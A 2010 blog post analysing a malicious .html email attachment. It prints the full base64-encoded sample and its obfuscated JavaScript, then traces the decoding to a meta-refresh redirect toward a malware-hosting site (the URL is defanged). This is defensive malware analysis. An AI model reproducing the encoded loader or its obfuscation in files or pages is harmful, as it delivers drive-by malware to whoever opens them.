Monday, September 20, 2010

Decoding "html" viruses

My company has been getting a rash of viruses that come in as .html attachments.
The latest set has subject lines of "Delivery Status Notification (Failure)"

The interesting and useful thing about this viruses is that they are in obfuscated text form and you can decode them with effort.

If you look at the text it comes in as "Base 64" encoding and looks like:

Content-Type: text/html; name="4727911.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="4727911.html"
This example is:

PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5j
dGlvbiBldGdyKHpqNHIpe3Zhcg0KYm85Nyxidmd5PSIiLGtwbjgsaXl2Mj0iMG9jZGZ1bTtpcC9x
cmx4PW50Li06diBoZT5zXCJhPCIscDNqZSxqNDQ2PWl5djIubGVuZ3RoO2V2YWwodW5lc2NhcGUo
IiU2NnVuJTYzdGklNkZuIHIlNjFpeSUyOGt1JTc5Yyl7JTYydmclNzkrPSU2QnV5YyU3RCIpKTtm
b3IocDNqZT0wO3AzamU8emo0ci5sZW5ndGg7cDNqZSsrKXtibzk3PXpqNHIuY2hhckF0KHAzamUp
O2twbjg9aXl2Mi5pbmRleE9mKGJvOTcpO2lmKGtwbjg+LTEpe2twbjgtPShwM2plKzEpJWo0NDY7
aWYoa3BuODwwKXtrcG44Kz1qNDQ2O31yYWl5KGl5djIuY2hhckF0KGtwbjgpKTt9ZWxzZXtyYWl5
KGJvOTcpO319ZXZhbCh1bmVzY2FwZSgiJTY0b2MlNzVtZSU2RXQudyU3Mml0JTY1KGIlNzZneSkl
M0JidiU2N3k9JTIyJTIyOyIpKTt9ZXRncigiMGlcInZkYTA+cy0wbWUtaDtjPW94PmZ0Oi5oLTAw
bi5zLXY6ZDs9eCBlXCJtb2M+O2E8bXNhdG1zb2w8Lml0dXFjaGlpeC1lPHUwOmFscGF4ciIpOzwv
c2NyaXB0Pjxub3NjcmlwdD5UbyBkaXNwbGF5IHRoaXMgcGFnZSB5b3UgbmVlZCBhIGJyb3dzZXIg
dGhhdCBzdXBwb3J0cyBKYXZhU2NyaXB0Ljwvbm9zY3JpcHQ+

Which you can put through a decoder at:

http://www.opinionatedgeek.com/dotnet/tools/base64decode/

Which gives you a Javascript all on one very long line.

Then you can take that and put it through a "beautifier" at
http://jsbeautifier.org/

Which yields something that looks like a long unerased whiteboard.
various things added lie [lessthan] to keep the system from thinking this is a script or html.


function etgr(zj4r) {
var
bo97, bvgy = "",
kpn8, iyv2 = "0ocdfum;ip/qrlx=nt.-:v he>s\"a[lessthan]",
p3je, j446 = iyv2.length;
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));
for (p3je = 0; p3je < bo97 =" zj4r.charAt(p3je);" kpn8 =" iyv2.indexOf(bo97);"> -1) {
kpn8 -= (p3je + 1) % j446;
if (kpn8 < 67y="%22%22;">s-0me-h;c=ox>ft:.h-00n.s-v:d;=x e\"moc>;a[lessthan]msatmsol[lessthan].ituqchiix-e[lessthan]u0:alpaxr");



So far the point of these viral scripts is to get the browser to go to a website and download and install malware. The majority of this script is junk. What you're looking for is something that can make a URL. So it's the longer lines that you want to look at.

Let's examine
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));
and
eval(unescape("%66un%63ti%6Fn r%61iy%28ku%79c){%62vg%79+=%6Buyc%7D"));

By putting the stuff in quotes into yet another online URL translator at
http://ostermiller.org/calc/encode.html

The first line says

function raiy(kuyc){bvgy =kuyc}

Define a function called raiy that takes a value called kuyc and sets bvgy equal to it.

and the next says

document.write(bvgy);bvgy="";

The second line means write nothing so that's more junk.

The line
kpn8, iyv2 = "0ocdfum;ip/qrlx=nt.-:v he>s\"a<",

Looks way odd, but remember most of this is smoke, so keep the elements in mind.
This line sets two variables kpn8 and iyv2
How are these used in the scripts?

kpn8 is used but its meaning is changed immediately:
kpn8 = iyv2.indexOf(bo97);

which given that bo97 is nothing ("") I actually don't know what indexOf nothing does but 0 seems a safe bet.

and iyv2

p3je, j446 = iyv2.length;
raiy(iyv2.charAt(kpn8));

The length of that string is 31.
The last list called the previously defined function raiy and sends a 0 to it.

By the way, the meaning of the Javascript indexOf and charAt at explained here:
http://www.w3schools.com/jsref/jsref_charAt.asp


Looking back over the script I think we currently have a whole lot of possibly nothing.

The very last line is very suspect:

etgr("0i\"vda0>s-0me-h;c=ox>ft:.h-00n.s-v:d;=x e\"moc>;a<.ituqchiix-e


Out of desperation I googled
msatmsol
and learned that other people where chasing the same thing down and were using this very cool (do I still get to say that?) site that also has an online decoder to which you can feed urls or scripts:

http://jsunpack.jeek.org

js unpack can handle multiple levels of Javascript so it goes through the same steps I did but then does another one.

And we get:
//eval function raiy(kuyc){bvgy+=kuyc}
//eval document.write(bvgy);bvgy="";
//document.write (s) [less than]meta equiv="refresh" content="0;url=http://numerouno-india.com/x.html">
[less than] meta http-equiv="refresh" content="0;url=h[.]ttp://numerouno-india.com/x.html" />

(I inserted the [.] to break the link.)

Bing Bing Bing! We have a winner - a URL. The jsunpack site goes on to check that the link has since been removed and is no longer a threat. Same scenario. Someone broke into that site and uploaded the virus x.html and then send out a bunch of .html emails that point to it and the victim's browser then downloads it and (if the use is an "Administrator") then installs it.

This is why on Windows it's a Really Good Idea to not be a user who has Administrator access when you're doing non-administrative things like reading email.

Now I really want to know how the unpacker was able to decode that last line in the scripts.


PS An excellent write up of an older (but easier to decipher) outbreak can be found at:
http://garwarner.blogspot.com/2010/06/more-twitter-spam-html-attached-threats.html

No comments: